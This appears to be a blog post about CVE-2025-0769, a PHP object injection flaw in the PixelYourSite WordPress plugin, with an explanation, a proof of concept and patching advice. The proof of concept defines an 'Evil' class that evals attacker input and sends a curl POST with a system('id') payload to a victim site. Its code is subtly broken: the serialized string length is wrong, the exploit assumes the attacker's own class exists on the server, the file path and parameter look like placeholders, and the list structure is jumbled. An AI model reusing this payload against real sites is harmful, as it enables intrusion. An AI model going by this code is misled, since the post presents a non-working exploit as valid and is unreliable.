WordPress plugins play a vital role in making websites dynamic and feature-rich. However, they can sometimes introduce security risks if not coded carefully. Recently, a serious vulnerability was discovered in the popular plugin PixelYourSite - Your smart PIXEL (TAG) and API Manager, version 10.1.1.1. This flaw, now known as CVE-2025-0769, allows attackers to exploit how user input is handled, possibly leading to full site compromise.

This post offers an easy-to-understand breakdown of the vulnerability, sample exploit, reference links, and best practices to stay protected.

What Is PixelYourSite?

PixelYourSite is a staple for WordPress website owners who want to manage tags and API connections for conversion tracking platforms like Facebook Pixel, Google Analytics, and more. With over 200,000 installs, flaws in this plugin endanger a sizable chunk of the web.

The Vulnerability: Unvalidated Input in unserialize()

A security flaw exists because the plugin directly passes user-provided data into PHP’s unserialize() function, without checking or sanitizing it. This is dangerous: unserialize() can take specially-crafted strings and turn them into PHP objects, which can trigger certain PHP class methods automatically.

File and location

myapp/modules/facebook/facebook-server-async-task.php

Inside this file, user input is used directly as below

// Vulnerable code snippet
$data = $_POST['some_input'];
$decoded = unserialize($data);

Here, any attacker can send POST data containing malicious serialized PHP objects. Once unserialize() is called on it, unwanted PHP code execution can happen—this is called a PHP Object Injection.

Exploiting this bug, attackers could

- Run arbitrary PHP code (if certain PHP "magic methods" like __wakeup or __destruct are available in loaded classes).

Deface the website or take full control.

In the worst case, this could lead to complete site takeover.

Exploit Example

Here’s a simplified proof of concept (PoC) exploiting the flaw. This assumes the presence of a vulnerable class (with an exploitable magic method) elsewhere in the app.

1. Identify a class for exploitation (for example, WordPress's own wpdb or another plugin's class with a method like __destruct).

Craft malicious payload

<?php
class Evil {
    public $cmd;
    function __wakeup(){
        eval($this->cmd);
    }
}
// The payload: serialize(new Evil())
$payload = serialize(new Evil());
echo $payload;
?>

Send the payload via POST (using curl or Burp Suite, for example)

curl -X POST https://victim-site.com/wp-content/plugins/pixelyoursite/myapp/modules/facebook/facebook-server-async-task.php \
     -d "some_input=O:4:\"Evil\":1:{s:3:\"cmd\";s:21:\"system('id');\";}"

If the class is autoloadable (present on the server), and there’s no input check, it may execute the injected command.

Why is Unserialize Dangerous?

unserialize() can create objects and even execute methods, based on the data inside the serialized string. Without proper filtering, an attacker can:

Trigger dangerous magic methods (like __wakeup, __sleep, __destruct).

> See PHP: Object Injection for more details.

Can All PHP Setups Be Exploited?

Not quite—although dangerous, a successful attack depends on loaded PHP classes that permit code execution through their magic methods. On most real-world WordPress setups, the risk is still very high.

References

- PixelYourSite Official Site
- PHP Security: Unserialize Exploits
- WPScan Vulnerability Entry (CVE-2025-0769)
- PHP.net: Security: Serialized Objects

Update to the latest plugin version as soon as available.

2. Never trust user input—sanitize and validate everything before using unserialize (or better, avoid unserialize on user data).

Conclusion

CVE-2025-0769 is a critical vulnerability that serves as a reminder: never trust user input in PHP, especially with dangerous functions like unserialize(). Keep your WordPress and plugins up-to-date, and audit all plugins for similar issues!

Have questions or want to report a security issue? Connect with the WordPress security community or PixelYourSite support.

Timeline

Published on: 02/28/2025 20:15:46 UTC